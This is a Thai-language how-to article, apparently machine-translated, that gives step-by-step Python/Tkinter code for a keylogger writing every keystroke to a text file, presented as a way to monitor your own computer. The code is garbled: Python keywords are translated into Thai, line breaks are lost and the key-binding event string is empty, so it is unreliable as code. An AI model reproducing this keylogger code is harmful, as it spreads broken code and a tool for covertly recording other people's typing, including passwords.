วิธีสร้าง Keylogger โดยใช้ Python

ผู้หญิงกำลังดูคอมพิวเตอร์มองข้ามไหล่

จับภาพการกดแป้นพิมพ์และบันทึกลงในไฟล์

เครดิตรูปภาพ: Jupiterimages/Photos.com/Getty Images

คุณสามารถสร้างโปรแกรม keylogger โดยใช้ Python เพื่อบันทึกการกดแป้นที่พิมพ์ผ่านแป้นพิมพ์ของคอมพิวเตอร์ การกดแป้นจะถูกบันทึกไว้ในไฟล์ข้อความ และจะบันทึกการป้อนข้อมูลทั้งหมด คุณสามารถใช้ตัวบันทึกคีย์เพื่อตรวจสอบกิจกรรมบนคอมพิวเตอร์ของคุณ

ขั้นตอนที่ 1

เปิด IDLE คลิกเมนู "ไฟล์" และเลือก "หน้าต่างใหม่" เพื่อเปิดหน้าต่างใหม่ กด Ctrl และ S เพื่อเปิดหน้าต่าง "บันทึกเป็น" ใช้ "getKeyLogger" เป็นชื่อไฟล์แล้วคลิก "บันทึก"

วีดีโอประจำวันนี้

ขั้นตอนที่ 2

เพิ่มบรรทัดโค้ดต่อไปนี้เพื่อนำเข้าเนมสเปซ "Tkinter" และกำหนดเส้นทางของไฟล์ที่คุณต้องการใช้เพื่อบันทึก:

นำเข้า Tkinter เป็น tk myFile = open("C:/temp/keyFile.txt", "w")

ขั้นตอนที่ 3

คัดลอกและวางรหัสต่อไปนี้เพื่อบันทึกการกดแป้นพิมพ์ทุกครั้งไปยังไฟล์:

กดปุ่ม def (เหตุการณ์): ถ้า event.keysym == 'Escape': main.destroy () keyPressed = event.char myFile.write (keyPressed)

ขั้นตอนที่ 4

เพิ่มรหัสต่อไปนี้เพื่อให้ผู้ใช้ทราบว่าเขาสามารถเริ่มพิมพ์ได้ และสามารถกด Esc เพื่อสิ้นสุดโปรแกรมได้:

หลัก = tk Tk() พิมพ์ "กดปุ่มใดก็ได้ (ปุ่ม Escape เพื่อออก):" main.bind_all('', กดปุ่ม) main.withdraw() main.mainloop() myFile.close()

ขั้นตอนที่ 5

คลิกปุ่มเริ่ม "Windows" และพิมพ์ "cmd" ในช่อง "ค้นหาโปรแกรมและไฟล์" กด Enter เพื่อเปิดพรอมต์คำสั่ง ไปที่ "C:\Python" และพิมพ์ "python getKeyLogger" กด Enter เพื่อเรียกใช้โปรแกรม ไปที่ "C:/temp/" และดับเบิลคลิก "keyFile.txt" เพื่อดูข้อมูลการกดแป้นพิมพ์

หมวดหมู่

ล่าสุด

เหตุใดหน่วยความจำเสมือนจึงมีความสำคัญ

เหตุใดหน่วยความจำเสมือนจึงมีความสำคัญ

ชิปหน่วยความจำโซลิดสเตตเร็วกว่าหน่วยความจำเสมื...

รหัสโทรศัพท์มือถือและเทคนิค

รหัสโทรศัพท์มือถือและเทคนิค

การป้อนรหัสพิเศษบนคีย์แพดสามารถให้การทำงานที่ไ...

วิธีการเปลี่ยนกราฟิกการ์ดใน Dell Latitude D630

วิธีการเปลี่ยนกราฟิกการ์ดใน Dell Latitude D630

เปลี่ยนแผงระบบเพื่อเปลี่ยนการ์ดแสดงผล แล็ปท็อป...